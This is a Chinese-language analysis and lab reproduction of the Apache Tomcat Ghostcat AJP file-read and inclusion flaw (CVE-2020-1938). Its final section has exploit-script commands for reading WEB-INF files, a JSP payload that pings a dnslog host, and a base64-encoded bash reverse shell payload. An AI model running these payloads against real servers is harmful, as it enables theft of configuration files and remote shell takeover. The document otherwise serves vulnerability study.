一、漏洞简介
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
1、危险等级
高危
2、漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
3、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
4、前提条件
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。
5、漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel
二、漏洞分析
1.漏洞成因分析:
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
如下图:
在代码的507行
可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下图所示:
接着看第252行。
2.利用方式:
(1)利用DefaultServlet实现任意文件下载
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图
通过serveResource方法来获取资源文件
通过getRelativePath来获取资源文件路径
然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。
(2)通过jspservlet实现任意后缀文件包含
当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:
控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.
代码段分析1:
tomcat默认监听的8009端口用来处理AJP协议。AJP协议建立在TCP socket通信之上,tomcat使用该协议和前级的Web Server传递信息,这次的漏洞就出在客户端可以利用ajp协议数据包控制request对象的一些字段。
具体地,tomcat源码的org.apache.coyote.ajp.AjpProcessor类的service()方法如下:
它调用的prepareRequest()方法用来解析一些请求头,部分内容如下:
可以看到,当ajp数据包的头设置为SC_REQ_ATTRIBUTE时(具体数值可以查询AJP协议规范),Connector会紧接着读取变量n(属性名)和v(值),当n不是SC_A_REQ_LOCAL_ADDR、SC_A_REQ_REMOTE_PORT、SC_A_SSL_PROTOCOL时,就会用v来赋值属性n。接着,service()方法将修改过的request代入后面的调用。
=在org.apache.catalina.servlets.DefaultServlet中,当我们的请求声明的是GET方法时,存在调用service()->doGet()->serveResource(),分析serveResource()代码如下:
其调用的getRelativePath()方法内容如下:
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) { String servletPath; String pathInfo; if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) { pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO); servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH); } else{ ...... } StringBuilder result = new StringBuilder(); if (servletPath.length() > 0) { result.append(servletPath); } if (pathInfo != null) { result.append(pathInfo); } ...... return result.toString(); }
从javax.servlet.RequestDispatcher中可以看到这三个属性的名称:
所以,我们就能通过AJP协议改变request的这三个属性来控制请求的路径,serveResource()方法获得path后的代码大致如下:
它会直接把通过path获取的资源序列化输出,因此客户端再按照AJP协议解析数据包就能得到文件内容。
代码段分析2:
同样的道理,tomcat默认将jsp/jspx结尾的请求交给org.apache.jasper.servlet.JspServlet处理,它的service()方法如下:
可以看到jspUri也是由两个可控的属性定义的,后续代码:
代码在这里根据jspUri生成了一个JspServletWrapper,它会调用service()方法完成jsp代码的编译,将其转换成一个servlet。该servlet最终会以.java文件的形式写入%CATALINA_HOME%/work/Engine/Host/Context目录下:
经过上述调用,这就形成了文件包含漏洞。当Web应用上有某个文件内容可被我们控制时,就可以造成rce漏洞。
三、漏洞复现
1.环境的准备
(1)windows下漏洞复现环境准备,这里以tomcat-8.5.32为例。
https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip
(2)安装jdk并配置JDK环境
(3)然后启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat
root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/ root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xm
读取文件
读取web-inf/web.xm文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f index.jsp
命令执行
执行whoami命令
python "文件包含(CVE-2020-1938).py" 10.10.10.134 -p 8009 -f /test.txt
ping dnslog
<% java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
反弹shell
- 反弹shell用的命令需要进行bash编码
- 在线bash编码:http://www.jackson-t.ca/runtime-exec-payloads.html
- https://ares-x.com/tools/runtime-exec/
- POC下载地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
在反弹shell的过程中,我尝试多次之后失败了。就放了一张米斯特斯文师傅的一张成功的图片。